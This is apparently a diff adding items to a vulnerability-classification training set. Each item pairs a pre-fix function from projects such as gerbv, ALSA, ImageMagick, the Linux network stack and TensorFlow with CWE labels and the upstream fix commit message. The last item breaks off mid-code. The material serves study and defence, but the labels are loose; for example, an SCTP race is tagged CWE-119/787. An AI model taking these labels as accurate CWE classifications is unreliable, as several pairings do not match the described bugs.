GERBV_APTYPE_MACRO_CIRCLE:\n\t\t\tg_message (_(\"    Diameter: %g %s\"),\n\t\t\t\tscreen_units(simpars[CIRCLE_DIAMETER]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[CIRCLE_CENTER_X];\n\t\t\ty += simpars[CIRCLE_CENTER_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Center: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_OUTLINE:\n\t\t\tg_message (_(\"    Number of points: %g\"),\n\t\t\t\tsimpars[OUTLINE_NUMBER_OF_POINTS]);\n\t\t\tx += simpars[OUTLINE_FIRST_X];\n\t\t\ty += simpars[OUTLINE_FIRST_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Start: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\tsimpars[OUTLINE_ROTATION_IDX(simpars)]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_POLYGON:\n\t\t\tg_message (_(\"    Number of points: %g\"),\n\t\t\t\tsimpars[POLYGON_NUMBER_OF_POINTS]);\n\t\t\tg_message (_(\"    Diameter: %g %s\"),\n\t\t\t\tscreen_units(simpars[POLYGON_DIAMETER]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[POLYGON_CENTER_X];\n\t\t\ty += simpars[POLYGON_CENTER_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Center: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\tsimpars[POLYGON_ROTATION]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_MOIRE:\n\t\t\tg_message (_(\"    Outside diameter: %g %s\"),\n\t\t\t\tscreen_units(simpars[MOIRE_OUTSIDE_DIAMETER]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Ring thickness: %g %s\"),\n\t\t\t\tscreen_units(simpars[MOIRE_CIRCLE_THICKNESS]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Gap width: %g %s\"),\n\t\t\t\tscreen_units(simpars[MOIRE_GAP_WIDTH]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Number of rings: %g\"),\n\t\t\t\tsimpars[MOIRE_NUMBER_OF_CIRCLES]);\n\t\t\tg_message (_(\"    Crosshair thickness: %g %s\"),\n\t\t\t\tscreen_units(\n\t\t\t\t\tsimpars[MOIRE_CROSSHAIR_THICKNESS]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Crosshair length: %g %s\"),\n\t\t\t\tscreen_units(simpars[MOIRE_CROSSHAIR_LENGTH]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[MOIRE_CENTER_X];\n\t\t\ty += simpars[MOIRE_CENTER_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Center: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\tsimpars[MOIRE_ROTATION]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_THERMAL:\n\t\t\tg_message (_(\"    Outside diameter: %g %s\"),\n\t\t\t\tscreen_units(simpars[THERMAL_OUTSIDE_DIAMETER]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Inside diameter: %g %s\"),\n\t\t\t\tscreen_units(simpars[THERMAL_INSIDE_DIAMETER]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Crosshair thickness: %g %s\"),\n\t\t\t\tscreen_units(\n\t\t\t\t\tsimpars[THERMAL_CROSSHAIR_THICKNESS]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[THERMAL_CENTER_X];\n\t\t\ty += simpars[THERMAL_CENTER_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Center: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\tsimpars[THERMAL_ROTATION]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_LINE20:\n\t\t\tg_message (_(\"    Width: %g %s\"),\n\t\t\t\tscreen_units(simpars[LINE20_WIDTH]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[LINE20_START_X];\n\t\t\ty += simpars[LINE20_START_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Start: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[LINE20_END_X];\n\t\t\ty += simpars[LINE20_END_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Stop: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\t\tsimpars[LINE20_ROTATION]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_LINE21:\n\t\t\tg_message (_(\"    Width: %g %s\"),\n\t\t\t\tscreen_units(simpars[LINE21_WIDTH]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Height: %g %s\"),\n\t\t\t\tscreen_units(simpars[LINE21_HEIGHT]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[LINE21_CENTER_X];\n\t\t\ty += simpars[LINE21_CENTER_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Center: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\t\tsimpars[LINE21_ROTATION]);\n\t\t\tbreak;\n\n\t\tcase GERBV_APTYPE_MACRO_LINE22:\n\t\t\tg_message (_(\"    Width: %g %s\"),\n\t\t\t\tscreen_units(simpars[LINE22_WIDTH]),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Height: %g %s\"),\n\t\t\t\tscreen_units(simpars[LINE22_HEIGHT]),\n\t\t\t\tscreen_units_str());\n\t\t\tx += simpars[LINE22_LOWER_LEFT_X];\n\t\t\ty += simpars[LINE22_LOWER_LEFT_Y];\n\t\t\tgerbv_transform_coord_for_image(&x, &y, img, prj);\n\t\t\tg_message (_(\"    Lower left: (%g, %g) %s\"),\n\t\t\t\tscreen_units(x), screen_units(y),\n\t\t\t\tscreen_units_str());\n\t\t\tg_message (_(\"    Rotation: %g deg\"),\n\t\t\t\t\tsimpars[LINE22_ROTATION]);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\t}\n\tdefault:\n\t\tbreak;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'Remove local alias to parameter array\n\nNormalizing access to `gerbv_simplified_amacro_t::parameter` as a step to fix CVE-2021-40402'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bit_write_MC (Bit_Chain *dat, BITCODE_MC val)\n{\n  int i, j;\n  int negative = 0;\n  unsigned char byte[5];\n  BITCODE_UMC mask = 0x0000007f;\n  BITCODE_UMC value = (BITCODE_UMC)val;\n\n  if (val < 0)\n    {\n      negative = 1;\n      value = (BITCODE_UMC)-val;\n    }\n  for (i = 4, j = 0; i >= 0; i--, j += 7)\n    {\n      byte[i] = (unsigned char)((value & mask) >> j);\n      byte[i] |= 0x80;\n      mask = mask << 7;\n    }\n  for (i = 0; i < 4; i++)\n    if (byte[i] & 0x7f)\n      break;\n\n  if (byte[i] & 0x40)\n    i--;\n  byte[i] &= 0x7f;\n  if (negative)\n    byte[i] |= 0x40;\n  for (j = 4; j >= i; j--)\n    bit_write_RC (dat, byte[j]);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'encode: protect from stack under-flow\n\nFrom GH #178 fuzzing'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int snd_ctl_tlv_ioctl(struct snd_ctl_file *file,\n                             struct snd_ctl_tlv __user *_tlv,\n                             int op_flag)\n{\n\tstruct snd_card *card = file->card;\n\tstruct snd_ctl_tlv tlv;\n\tstruct snd_kcontrol *kctl;\n\tstruct snd_kcontrol_volatile *vd;\n\tunsigned int len;\n\tint err = 0;\n\n\tif (copy_from_user(&tlv, _tlv, sizeof(tlv)))\n\t\treturn -EFAULT;\n\tif (tlv.length < sizeof(unsigned int) * 2)\n\t\treturn -EINVAL;\n\tdown_read(&card->controls_rwsem);\n\tkctl = snd_ctl_find_numid(card, tlv.numid);\n\tif (kctl == NULL) {\n\t\terr = -ENOENT;\n\t\tgoto __kctl_end;\n\t}\n\tif (kctl->tlv.p == NULL) {\n\t\terr = -ENXIO;\n\t\tgoto __kctl_end;\n\t}\n\tvd = &kctl->vd[tlv.numid - kctl->id.numid];\n\tif ((op_flag == 0 && (vd->access & SNDRV_CTL_ELEM_ACCESS_TLV_READ) == 0) ||\n\t    (op_flag > 0 && (vd->access & SNDRV_CTL_ELEM_ACCESS_TLV_WRITE) == 0) ||\n\t    (op_flag < 0 && (vd->access & SNDRV_CTL_ELEM_ACCESS_TLV_COMMAND) == 0)) {\n\t    \terr = -ENXIO;\n\t    \tgoto __kctl_end;\n\t}\n\tif (vd->access & SNDRV_CTL_ELEM_ACCESS_TLV_CALLBACK) {\n\t\tif (vd->owner != NULL && vd->owner != file) {\n\t\t\terr = -EPERM;\n\t\t\tgoto __kctl_end;\n\t\t}\n\t\terr = kctl->tlv.c(kctl, op_flag, tlv.length, _tlv->tlv);\n\t\tif (err > 0) {\n\t\t\tup_read(&card->controls_rwsem);\n\t\t\tsnd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_TLV, &kctl->id);\n\t\t\treturn 0;\n\t\t}\n\t} else {\n\t\tif (op_flag) {\n\t\t\terr = -ENXIO;\n\t\t\tgoto __kctl_end;\n\t\t}\n\t\tlen = kctl->tlv.p[1] + 2 * sizeof(unsigned int);\n\t\tif (tlv.length < len) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto __kctl_end;\n\t\t}\n\t\tif (copy_to_user(_tlv->tlv, kctl->tlv.p, len))\n\t\t\terr = -EFAULT;\n\t}\n      __kctl_end:\n\tup_read(&card->controls_rwsem);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-415'], 'message': 'ALSA: control: Don't access controls outside of protected regions\n\nA control that is visible on the card->controls list can be freed at any time.\nThis means we must not access any of its memory while not holding the\ncontrols_rw_lock. Otherwise we risk a use after free access.\n\nSigned-off-by: Lars-Peter Clausen \nAcked-by: Jaroslav Kysela \nCc: \nSigned-off-by: Takashi Iwai '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static Image *ReadSCREENSHOTImage(const ImageInfo *image_info,\n  ExceptionInfo *exception)\n{\n  Image\n    *image;\n\n  assert(image_info->signature == MagickCoreSignature);\n  if (image_info->debug != MagickFalse)\n    (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n      image_info->filename);\n  assert(exception != (ExceptionInfo *) NULL);\n  assert(exception->signature == MagickCoreSignature);\n  image=(Image *) NULL;\n#if defined(MAGICKCORE_WINGDI32_DELEGATE)\n  {\n    BITMAPINFO\n      bmi;\n\n    DISPLAY_DEVICE\n      device;\n\n    HBITMAP\n      bitmap,\n      bitmapOld;\n\n    HDC\n      bitmapDC,\n      hDC;\n\n    Image\n      *screen;\n\n    int\n      i;\n\n    MagickBooleanType\n      status;\n\n    register Quantum\n      *q;\n\n    register ssize_t\n      x;\n\n    RGBTRIPLE\n      *p;\n\n    ssize_t\n      y;\n\n    assert(image_info != (const ImageInfo *) NULL);\n    i=0;\n    device.cb = sizeof(device);\n    image=(Image *) NULL;\n    while(EnumDisplayDevices(NULL,i,&device,0) && ++i)\n    {\n      if ((device.StateFlags & DISPLAY_DEVICE_ACTIVE) != DISPLAY_DEVICE_ACTIVE)\n        continue;\n\n      hDC=CreateDC(device.DeviceName,device.DeviceName,NULL,NULL);\n      if (hDC == (HDC) NULL)\n        ThrowReaderException(CoderError,\"UnableToCreateDC\");\n\n      screen=AcquireImage(image_info,exception);\n      screen->columns=(size_t) GetDeviceCaps(hDC,HORZRES);\n      screen->rows=(size_t) GetDeviceCaps(hDC,VERTRES);\n      screen->storage_class=DirectClass;\n      status=SetImageExtent(screen,screen->columns,screen->rows,exception);\n      if (status == MagickFalse)\n        return(DestroyImageList(image));\n      if (image == (Image *) NULL)\n        image=screen;\n      else\n        AppendImageToList(&image,screen);\n\n      bitmapDC=CreateCompatibleDC(hDC);\n      if (bitmapDC == (HDC) NULL)\n        {\n          DeleteDC(hDC);\n          ThrowReaderException(CoderError,\"UnableToCreateDC\");\n        }\n      (void) ResetMagickMemory(&bmi,0,sizeof(BITMAPINFO));\n      bmi.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);\n      bmi.bmiHeader.biWidth=(LONG) screen->columns;\n      bmi.bmiHeader.biHeight=(-1)*(LONG) screen->rows;\n      bmi.bmiHeader.biPlanes=1;\n      bmi.bmiHeader.biBitCount=24;\n      bmi.bmiHeader.biCompression=BI_RGB;\n      bitmap=CreateDIBSection(hDC,&bmi,DIB_RGB_COLORS,(void **) &p,NULL,0);\n      if (bitmap == (HBITMAP) NULL)\n        {\n          DeleteDC(hDC);\n          DeleteDC(bitmapDC);\n          ThrowReaderException(CoderError,\"UnableToCreateBitmap\");\n        }\n      bitmapOld=(HBITMAP) SelectObject(bitmapDC,bitmap);\n      if (bitmapOld == (HBITMAP) NULL)\n        {\n          DeleteDC(hDC);\n          DeleteDC(bitmapDC);\n          DeleteObject(bitmap);\n          ThrowReaderException(CoderError,\"UnableToCreateBitmap\");\n        }\n      BitBlt(bitmapDC,0,0,(int) screen->columns,(int) screen->rows,hDC,0,0,\n        SRCCOPY);\n      (void) SelectObject(bitmapDC,bitmapOld);\n\n      for (y=0; y < (ssize_t) screen->rows; y++)\n      {\n        q=QueueAuthenticPixels(screen,0,y,screen->columns,1,exception);\n        if (q == (Quantum *) NULL)\n          break;\n        for (x=0; x < (ssize_t) screen->columns; x++)\n        {\n          SetPixelRed(image,ScaleCharToQuantum(p->rgbtRed),q);\n          SetPixelGreen(image,ScaleCharToQuantum(p->rgbtGreen),q);\n          SetPixelBlue(image,ScaleCharToQuantum(p->rgbtBlue),q);\n          SetPixelAlpha(image,OpaqueAlpha,q);\n          p++;\n          q+=GetPixelChannels(image);\n        }\n        if (SyncAuthenticPixels(screen,exception) == MagickFalse)\n          break;\n      }\n\n      DeleteDC(hDC);\n      DeleteDC(bitmapDC);\n      DeleteObject(bitmap);\n    }\n  }\n#elif defined(MAGICKCORE_X11_DELEGATE)\n  {\n    const char\n      *option;\n\n    XImportInfo\n      ximage_info;\n\n    XGetImportInfo(&ximage_info);\n    option=GetImageOption(image_info,\"x:screen\");\n    if (option != (const char *) NULL)\n      ximage_info.screen=IsStringTrue(option);\n    option=GetImageOption(image_info,\"x:silent\");\n    if (option != (const char *) NULL)\n      ximage_info.silent=IsStringTrue(option);\n    image=XImportImage(image_info,&ximage_info,exception);\n  }\n#endif\n  return(image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-772', 'CWE-401'], 'message': 'Fixed potential memory leak.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void ip6_append_data_mtu(int *mtu,\n\t\t\t\tint *maxfraglen,\n\t\t\t\tunsigned int fragheaderlen,\n\t\t\t\tstruct sk_buff *skb,\n\t\t\t\tstruct rt6_info *rt)\n{\n\tif (!(rt->dst.flags & DST_XFRM_TUNNEL)) {\n\t\tif (skb == NULL) {\n\t\t\t/* first fragment, reserve header_len */\n\t\t\t*mtu = *mtu - rt->dst.header_len;\n\n\t\t} else {\n\t\t\t/*\n\t\t\t * this fragment is not first, the headers\n\t\t\t * space is regarded as data space.\n\t\t\t */\n\t\t\t*mtu = dst_mtu(rt->dst.path);\n\t\t}\n\t\t*maxfraglen = ((*mtu - fragheaderlen) & ~7)\n\t\t\t      + fragheaderlen - sizeof(struct frag_hdr);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'ipv6: ip6_append_data_mtu did not care about pmtudisc and frag_size\n\nIf the socket had an IPV6_MTU value set, ip6_append_data_mtu lost track\nof this when appending the second frame on a corked socket. This results\nin the following splat:\n\n[37598.993962] ------------[ cut here ]------------\n[37598.994008] kernel BUG at net/core/skbuff.c:2064!\n[37598.994008] invalid opcode: 0000 [#1] SMP\n[37598.994008] Modules linked in: tcp_lp uvcvideo videobuf2_vmalloc videobuf2_memops videobuf2_core videodev media vfat fat usb_storage fuse ebtable_nat xt_CHECKSUM bridge stp llc ipt_MASQUERADE nf_conntrack_netbios_ns nf_conntrack_broadcast ip6table_mangle ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 iptable_nat\n+nf_nat_ipv4 nf_nat iptable_mangle nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ebtable_filter ebtables ip6table_filter ip6_tables be2iscsi iscsi_boot_sysfs bnx2i cnic uio cxgb4i cxgb4 cxgb3i cxgb3 mdio libcxgbi ib_iser rdma_cm ib_addr iw_cm ib_cm ib_sa ib_mad ib_core iscsi_tcp libiscsi_tcp libiscsi\n+scsi_transport_iscsi rfcomm bnep iTCO_wdt iTCO_vendor_support snd_hda_codec_conexant arc4 iwldvm mac80211 snd_hda_intel acpi_cpufreq mperf coretemp snd_hda_codec microcode cdc_wdm cdc_acm\n[37598.994008]  snd_hwdep cdc_ether snd_seq snd_seq_device usbnet mii joydev btusb snd_pcm bluetooth i2c_i801 e1000e lpc_ich mfd_core ptp iwlwifi pps_core snd_page_alloc mei cfg80211 snd_timer thinkpad_acpi snd tpm_tis soundcore rfkill tpm tpm_bios vhost_net tun macvtap macvlan kvm_intel kvm uinput binfmt_misc\n+dm_crypt i915 i2c_algo_bit drm_kms_helper drm i2c_core wmi video\n[37598.994008] CPU 0\n[37598.994008] Pid: 27320, comm: t2 Not tainted 3.9.6-200.fc18.x86_64 #1 LENOVO 27744PG/27744PG\n[37598.994008] RIP: 0010:[]  [] skb_copy_and_csum_bits+0x325/0x330\n[37598.994008] RSP: 0018:ffff88003670da18  EFLAGS: 00010202\n[37598.994008] RAX: ffff88018105c018 RBX: 0000000000000004 RCX: 00000000000006c0\n[37598.994008] RDX: ffff88018105a6c0 RSI: ffff88018105a000 RDI: ffff8801e1b0aa00\n[37598.994008] RBP: ffff88003670da78 R08: 0000000000000000 R09: ffff88018105c040\n[37598.994008] R10: ffff8801e1b0aa00 R11: 0000000000000000 R12: 000000000000fff8\n[37598.994008] R13: 00000000000004fc R14: 00000000ffff0504 R15: 0000000000000000\n[37598.994008] FS:  00007f28eea59740(0000) GS:ffff88023bc00000(0000) knlGS:0000000000000000\n[37598.994008] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b\n[37598.994008] CR2: 0000003d935789e0 CR3: 00000000365cb000 CR4: 00000000000407f0\n[37598.994008] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[37598.994008] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400\n[37598.994008] Process t2 (pid: 27320, threadinfo ffff88003670c000, task ffff88022c162ee0)\n[37598.994008] Stack:\n[37598.994008]  ffff88022e098a00 ffff88020f973fc0 0000000000000008 00000000000004c8\n[37598.994008]  ffff88020f973fc0 00000000000004c4 ffff88003670da78 ffff8801e1b0a200\n[37598.994008]  0000000000000018 00000000000004c8 ffff88020f973fc0 00000000000004c4\n[37598.994008] Call Trace:\n[37598.994008]  [] ip6_append_data+0xccf/0xfe0\n[37598.994008]  [] ? ip_copy_metadata+0x1a0/0x1a0\n[37598.994008]  [] ? _raw_spin_lock_bh+0x16/0x40\n[37598.994008]  [] udpv6_sendmsg+0x1ed/0xc10\n[37598.994008]  [] ? sock_has_perm+0x75/0x90\n[37598.994008]  [] inet_sendmsg+0x63/0xb0\n[37598.994008]  [] ? selinux_socket_sendmsg+0x23/0x30\n[37598.994008]  [] sock_sendmsg+0xb0/0xe0\n[37598.994008]  [] ? __switch_to+0x181/0x4a0\n[37598.994008]  [] sys_sendto+0x12d/0x180\n[37598.994008]  [] ? __audit_syscall_entry+0x94/0xf0\n[37598.994008]  [] ? syscall_trace_enter+0x231/0x240\n[37598.994008]  [] tracesys+0xdd/0xe2\n[37598.994008] Code: fe 07 00 00 48 c7 c7 04 28 a6 81 89 45 a0 4c 89 4d b8 44 89 5d a8 e8 1b ac b1 ff 44 8b 5d a8 4c 8b 4d b8 8b 45 a0 e9 cf fe ff ff <0f> 0b 66 0f 1f 84 00 00 00 00 00 66 66 66 66 90 55 48 89 e5 48\n[37598.994008] RIP  [] skb_copy_and_csum_bits+0x325/0x330\n[37598.994008]  RSP \n[37599.007323] ---[ end trace d69f6a17f8ac8eee ]---\n\nWhile there, also check if path mtu discovery is activated for this\nsocket. The logic was adapted from ip6_append_data when first writing\non the corked socket.\n\nThis bug was introduced with commit\n0c1833797a5a6ec23ea9261d979aa18078720b74 (\"ipv6: fix incorrect ipsec\nfragment\").\n\nv2:\na) Replace IPV6_PMTU_DISC_DO with IPV6_PMTUDISC_PROBE.\nb) Don't pass ipv6_pinfo to ip6_append_data_mtu (suggestion by Gao\n   feng, thanks!).\nc) Change mtu to unsigned int, else we get a warning about\n   non-matching types because of the min()-macro type-check.\n\nAcked-by: Gao feng \nCc: YOSHIFUJI Hideaki \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void __net_exit sctp_net_exit(struct net *net)\n{\n\t/* Free the local address list */\n\tsctp_free_addr_wq(net);\n\tsctp_free_local_addr_list(net);\n\n\t/* Free the control endpoint.  */\n\tinet_ctl_sock_destroy(net->sctp.ctl_sock);\n\n\tsctp_dbg_objcnt_exit(net);\n\n\tsctp_proc_exit(net);\n\tcleanup_sctp_mibs(net);\n\tsctp_sysctl_net_unregister(net);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'sctp: fix race on protocol/netns initialization\n\nConsider sctp module is unloaded and is being requested because an user\nis creating a sctp socket.\n\nDuring initialization, sctp will add the new protocol type and then\ninitialize pernet subsys:\n\n        status = sctp_v4_protosw_init();\n        if (status)\n                goto err_protosw_init;\n\n        status = sctp_v6_protosw_init();\n        if (status)\n                goto err_v6_protosw_init;\n\n        status = register_pernet_subsys(&sctp_net_ops);\n\nThe problem is that after those calls to sctp_v{4,6}_protosw_init(), it\nis possible for userspace to create SCTP sockets like if the module is\nalready fully loaded. If that happens, one of the possible effects is\nthat we will have readers for net->sctp.local_addr_list list earlier\nthan expected and sctp_net_init() does not take precautions while\ndealing with that list, leading to a potential panic but not limited to\nthat, as sctp_sock_init() will copy a bunch of blank/partially\ninitialized values from net->sctp.\n\nThe race happens like this:\n\n     CPU 0                           |  CPU 1\n  socket()                           |\n   __sock_create                     | socket()\n    inet_create                      |  __sock_create\n     list_for_each_entry_rcu(        |\n        answer, &inetsw[sock->type], |\n        list) {                      |   inet_create\n      /* no hits */                  |\n     if (unlikely(err)) {            |\n      ...                            |\n      request_module()               |\n      /* socket creation is blocked  |\n       * the module is fully loaded  |\n       */                            |\n       sctp_init                     |\n        sctp_v4_protosw_init         |\n         inet_register_protosw       |\n          list_add_rcu(&p->list,     |\n                       last_perm);   |\n                                     |  list_for_each_entry_rcu(\n                                     |     answer, &inetsw[sock->type],\n        sctp_v6_protosw_init         |     list) {\n                                     |     /* hit, so assumes protocol\n                                     |      * is already loaded\n                                     |      */\n                                     |  /* socket creation continues\n                                     |   * before netns is initialized\n                                     |   */\n        register_pernet_subsys       |\n\nSimply inverting the initialization order between\nregister_pernet_subsys() and sctp_v4_protosw_init() is not possible\nbecause register_pernet_subsys() will create a control sctp socket, so\nthe protocol must be already visible by then. Deferring the socket\ncreation to a work-queue is not good specially because we loose the\nability to handle its errors.\n\nSo, as suggested by Vlad, the fix is to split netns initialization in\ntwo moments: defaults and control socket, so that the defaults are\nalready loaded by when we register the protocol, while control socket\ninitialization is kept at the same moment it is today.\n\nFixes: 4db67e808640 (\"sctp: Make the address lists per network namespace\")\nSigned-off-by: Vlad Yasevich \nSigned-off-by: Marcelo Ricardo Leitner \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    // Read the `rt_nested_splits` input & convert to Eigen tensors.\n    OpInputList rt_nested_splits_in;\n    OP_REQUIRES_OK(\n        context, context->input_list(\"rt_nested_splits\", &rt_nested_splits_in));\n    const int rt_nested_splits_len = rt_nested_splits_in.size();\n    DCHECK_GT(rt_nested_splits_len, 0);  // Enforced by REGISTER_OP.\n    std::vector rt_nested_splits;\n    rt_nested_splits.reserve(rt_nested_splits_len);\n    for (int i = 0; i < rt_nested_splits_len; ++i) {\n      rt_nested_splits.push_back(rt_nested_splits_in[i].flat());\n    }\n\n    // Read the `rt_dense_values` input.\n    const Tensor& rt_dense_values_in = context->input(rt_nested_splits_len);\n    OP_REQUIRES_OK(context,\n                   ValidateInputs(rt_nested_splits, rt_dense_values_in));\n\n    // Assemble each value in `sparse_indices` using three parts:\n    // - `index_prefix` is the index in dimensions up through the last ragged\n    //   dimension.\n    // - `index_middle` is the index in the last ragged dimension.\n    // - `index_suffix` is the index in the dense value dimensions.\n    std::vector index_prefix(rt_nested_splits_len);\n    std::vector> index_suffixes =\n        MakeIndexSuffixes(rt_dense_values_in.shape());\n\n    // Allocate the `sparse_indices` output tensor.\n    const int64_t nvals =\n        (rt_nested_splits.back()(rt_nested_splits.back().size() - 1) *\n         index_suffixes.size());\n    const int64_t indices_len =\n        rt_nested_splits_len + rt_dense_values_in.dims();\n    Tensor* sparse_indices_out = nullptr;\n    OP_REQUIRES_OK(\n        context, context->allocate_output(0, TensorShape({nvals, indices_len}),\n                                          &sparse_indices_out));\n    auto sparse_indices = sparse_indices_out->tensor();\n\n    // pos[i] is the current position in rt_nested_splits[i].  final_pos is a\n    // reference to make it easier to refer to pos[-1].\n    std::vector pos(rt_nested_splits_len);\n    int64& final_pos = pos[rt_nested_splits_len - 1];\n\n    // Each iteration through the loop, we increment pos[-1], and add indices\n    // for all the values corresponding to\n    // rt_nested_splits[-1][pos[-1]:pos[-1]+1].\n    int next_index = 0;\n    int max_final_pos = rt_nested_splits.back().size() - 1;\n    for (; final_pos < max_final_pos; ++final_pos) {\n      // Update `pos` to skip over completed elements (i.e., elements where\n      // we have already generated indices for all contained values).\n      for (int dim = rt_nested_splits_len - 2; dim >= 0; --dim) {\n        while (IsCompleted(pos, dim, rt_nested_splits)) {\n          pos[dim] += 1;\n        }\n      }\n\n      // Update index_prefix.\n      for (int dim = 0; dim < index_prefix.size(); ++dim) {\n        int start = dim > 0 ? rt_nested_splits[dim - 1](pos[dim - 1]) : 0;\n        index_prefix[dim] = pos[dim] - start;\n      }\n\n      // Get length of the final-ragged-dimension slice.\n      const auto& final_splits = rt_nested_splits[rt_nested_splits_len - 1];\n      int64_t slice_len = final_splits(final_pos + 1) - final_splits(final_pos);\n\n      // Add sparse_indices for this slice.\n      for (int64_t i = 0; i < slice_len; ++i) {\n        for (const auto& index_suffix : index_suffixes) {\n          int dim = 0;\n          for (int64_t index : index_prefix) {  // index_prefix\n            sparse_indices(next_index, dim++) = index;\n          }\n          sparse_indices(next_index, dim++) = i;  // index_middle\n          for (int64_t index : index_suffix) {    // index_suffix\n            sparse_indices(next_index, dim++) = index;\n          }\n          DCHECK_EQ(dim, indices_len);\n          ++next_index;\n        }\n    